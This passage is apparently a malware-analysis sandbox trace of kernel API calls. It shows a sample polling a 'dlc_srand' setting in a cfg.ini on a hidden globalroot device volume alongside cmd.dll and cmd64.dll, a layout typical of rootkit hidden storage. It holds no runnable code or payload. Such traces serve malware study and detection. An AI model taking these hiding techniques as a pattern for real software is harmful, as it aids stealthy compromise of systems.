(P=0xfffffa8003be3fb0, Tag=0x0) [0122.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.403] KeLeaveCriticalRegion () [0122.403] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.403] ReleaseMutex (hMutex=0xf0) returned 1 [0122.403] Sleep (dwMilliseconds=0x124f80) [0122.417] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.417] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.417] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.417] KeEnterCriticalRegion () [0122.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.417] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.417] IdePortDispatch () returned 0x103 [0122.417] KeWaitForMutexObject () returned 0x0 [0122.417] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.417] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.417] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.417] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.417] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.417] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5c40 [0122.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.417] KeLeaveCriticalRegion () [0122.417] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.417] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.417] KeEnterCriticalRegion () [0122.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.417] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.417] KeLeaveCriticalRegion () [0122.418] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.418] KeEnterCriticalRegion () [0122.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.418] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.418] IdePortDispatch () returned 0x103 [0122.418] KeWaitForMutexObject () returned 0x0 [0122.418] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.418] KeLeaveCriticalRegion () [0122.418] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.418] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.418] KeEnterCriticalRegion () [0122.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.418] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c86000 [0122.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.418] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.418] IdePortDispatch () returned 0x103 [0122.418] KeWaitForMutexObject () returned 0x0 [0122.418] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.418] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.418] IdePortDispatch () returned 0x103 [0122.419] KeWaitForMutexObject () returned 0x0 [0122.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.419] KeLeaveCriticalRegion () [0122.419] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.419] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.419] KeEnterCriticalRegion () [0122.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.419] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.419] KeLeaveCriticalRegion () [0122.419] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.419] KeEnterCriticalRegion () [0122.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.419] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.419] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.419] KeLeaveCriticalRegion () [0122.419] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.419] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.419] KeEnterCriticalRegion () [0122.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.419] ExFreePoolWithTag (P=0xfffffa8003be5c40, Tag=0x0) [0122.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.419] KeLeaveCriticalRegion () [0122.419] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.420] ReleaseMutex (hMutex=0xf0) returned 1 [0122.420] Sleep (dwMilliseconds=0x124f80) [0122.433] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.433] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.433] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.433] KeEnterCriticalRegion () [0122.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.433] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.433] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.433] IdePortDispatch () returned 0x103 [0122.433] KeWaitForMutexObject () returned 0x0 [0122.433] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.433] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.433] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.433] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.433] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.433] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3fb0 [0122.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.433] KeLeaveCriticalRegion () [0122.434] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.434] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.434] KeEnterCriticalRegion () [0122.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.434] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.434] KeLeaveCriticalRegion () [0122.434] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.434] KeEnterCriticalRegion () [0122.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.434] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.434] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.434] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.434] IdePortDispatch () returned 0x103 [0122.435] KeWaitForMutexObject () returned 0x0 [0122.435] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.435] KeLeaveCriticalRegion () [0122.435] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.435] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.435] KeEnterCriticalRegion () [0122.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.435] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8b000 [0122.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.435] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.435] IdePortDispatch () returned 0x103 [0122.435] KeWaitForMutexObject () returned 0x0 [0122.435] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.435] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.435] IdePortDispatch () returned 0x103 [0122.436] KeWaitForMutexObject () returned 0x0 [0122.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.436] KeLeaveCriticalRegion () [0122.436] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.437] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.437] KeEnterCriticalRegion () [0122.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.437] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.437] KeLeaveCriticalRegion () [0122.437] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.437] KeEnterCriticalRegion () [0122.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.437] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.437] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.437] KeLeaveCriticalRegion () [0122.437] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.437] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.437] KeEnterCriticalRegion () [0122.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.437] ExFreePoolWithTag (P=0xfffffa8003be3fb0, Tag=0x0) [0122.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.437] KeLeaveCriticalRegion () [0122.437] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.437] ReleaseMutex (hMutex=0xf0) returned 1 [0122.437] Sleep (dwMilliseconds=0x124f80) [0122.453] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.453] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.453] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.453] KeEnterCriticalRegion () [0122.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.453] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.453] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.454] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.454] IdePortDispatch () returned 0x103 [0122.454] KeWaitForMutexObject () returned 0x0 [0122.454] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.454] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.454] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.454] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.454] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.454] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5180 [0122.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.454] KeLeaveCriticalRegion () [0122.454] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.454] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.454] KeEnterCriticalRegion () [0122.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.454] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.454] KeLeaveCriticalRegion () [0122.454] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.454] KeEnterCriticalRegion () [0122.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.454] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.454] IdePortDispatch () returned 0x103 [0122.454] KeWaitForMutexObject () returned 0x0 [0122.454] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.454] KeLeaveCriticalRegion () [0122.455] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.455] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.455] KeEnterCriticalRegion () [0122.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.455] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c95000 [0122.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.455] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.455] IdePortDispatch () returned 0x103 [0122.455] KeWaitForMutexObject () returned 0x0 [0122.455] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.455] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.455] IdePortDispatch () returned 0x103 [0122.455] KeWaitForMutexObject () returned 0x0 [0122.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.455] KeLeaveCriticalRegion () [0122.455] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.456] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.456] KeEnterCriticalRegion () [0122.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.456] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.456] KeLeaveCriticalRegion () [0122.456] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.456] KeEnterCriticalRegion () [0122.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.456] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.456] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6e20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.456] KeLeaveCriticalRegion () [0122.456] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.456] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.456] KeEnterCriticalRegion () [0122.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.456] ExFreePoolWithTag (P=0xfffffa8003be5180, Tag=0x0) [0122.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.456] KeLeaveCriticalRegion () [0122.456] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.456] ReleaseMutex (hMutex=0xf0) returned 1 [0122.456] Sleep (dwMilliseconds=0x124f80) [0122.471] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.471] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.471] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.471] KeEnterCriticalRegion () [0122.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.471] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.471] IdePortDispatch () returned 0x103 [0122.471] KeWaitForMutexObject () returned 0x0 [0122.471] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.471] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.471] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.471] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.471] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.471] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6520 [0122.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.471] KeLeaveCriticalRegion () [0122.471] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.471] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.471] KeEnterCriticalRegion () [0122.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.472] FsRtlProcessFileLock 